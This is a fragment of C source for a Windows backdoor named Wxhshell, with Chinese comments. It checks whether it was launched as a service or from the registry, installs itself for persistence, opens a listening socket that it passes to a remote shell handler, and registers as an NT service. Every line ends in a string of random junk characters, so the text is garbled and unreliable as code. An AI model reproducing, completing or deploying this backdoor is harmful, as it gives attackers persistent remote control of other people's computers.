} PROCESS_BASIC_INFORMATION; }E=mZZ)
lIf Our
PROCNTQSIP NtQueryInformationProcess; </fnbyGR
w-KtxG(
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QMIQy
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _CgD7d
FvkKM+?F
HANDLE hProcess; XDn$=`2
PROCESS_BASIC_INFORMATION pbi; YpWu\oP
PU8R
0r2k\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6x{B
if(NULL == hInst ) return 0; aRV<y8{9
1F=x~FMvY
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6};Sn/8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HdGy$m`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ev; &$Hc
O&)Y3 O1
if (!NtQueryInformationProcess) return 0; @=9QV3D
W&"FejD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f; 22viE
if(!hProcess) return 0; ~6OdPD
NEN br$,G
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sU`#d
2]7nw1&
CloseHandle(hProcess); ?O_;{(F_
H1X6f7`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }/=VnCfU
if(hProcess==NULL) return 0; NZl0sX.:
ur'A ;B
HMODULE hMod; GUK/Xiu
char procName[255]; qvT9d7x
unsigned long cbNeeded; cgU7)`0j
Gf"/fpeQx
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ''V:+@Toh
ak'RV*>mT
CloseHandle(hProcess); 8T%z{ A1T
old}}>_
if(strstr(procName,"services")) return 1; // 以服务启动 +pE-Yn`YS
O9qEKW)a
return 0; // 注册表启动 vX{]_
} m\Dbb.vBvW
# wG}T
.*
// 主模块 2nwP-i
int StartWxhshell(LPSTR lpCmdLine) (j'[t
{ .rS0zU
SOCKET wsl; E;+3VJ+F"
BOOL val=TRUE; b&!X#3(KT
int port=0; $idYG<],
struct sockaddr_in door; @ )1u
<)rol
if(wscfg.ws_autoins) Install(); Oh|Hy/&6W
j/9'L^]
port=atoi(lpCmdLine); a.q=
SL*B `P~{
if(port<=0) port=wscfg.ws_port; #"TTI
vd0
En[cg
WSADATA data; *t~(_j
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~*H!zKIx
WT1ch0~2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |n~-LH++
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7^ER?@:W
door.sin_family = AF_INET; .aNy)Yu8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); l2$6ojpo
door.sin_port = htons(port); Peb;XI
IAg#YFI
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wz9 }glr
closesocket(wsl); *c xYB
return 1; mio\}SA
} Ru2kC} Dx!
=n9|r.\&uJ
if(listen(wsl,2) == INVALID_SOCKET) { /S]<MS
closesocket(wsl); BaqRAO7
return 1; ^f@EDG8
} ^'#vUj:"
Wxhshell(wsl); @dw0oRF
WSACleanup(); O{Wy;7i
h\jwXMi,tj
return 0; d?'q(6&H
XO219
} YX-G>.Pc
*;Sj&O
// 以NT服务方式启动 hbn2(e;FZ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IRD?.K]*
{ |LWG7
ZE
DWORD status = 0; ]M#_o]
DWORD specificError = 0xfffffff; `N$<]i]s5
gLU #\d]
serviceStatus.dwServiceType = SERVICE_WIN32; 9z,V]v=
serviceStatus.dwCurrentState = SERVICE_START_PENDING; rtC.!].;%
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iE>T5XV8$B
serviceStatus.dwWin32ExitCode = 0; TTu<~GH
serviceStatus.dwServiceSpecificExitCode = 0; !@5B:n*
serviceStatus.dwCheckPoint = 0; EE-jU<>|
serviceStatus.dwWaitHint = 0; fmFh.m.+N
6/ F]ncwG
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aNw8][
if (hServiceStatusHandle==0) return; d'q,:="c
jgbE@IA@!'
status = GetLastError(); QF
Vy2 q
if (status!=NO_ERROR) XJ.bK
{ a|{RK}|3
serviceStatus.dwCurrentState = SERVICE_STOPPED; yKgA"NaM
serviceStatus.dwCheckPoint = 0; ^pIT,|myY7
serviceStatus.dwWaitHint = 0; 7ZqC1
serviceStatus.dwWin32ExitCode = status; Ar,B7-F!
serviceStatus.dwServiceSpecificExitCode = specificError; kg1z"EE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hv2@}<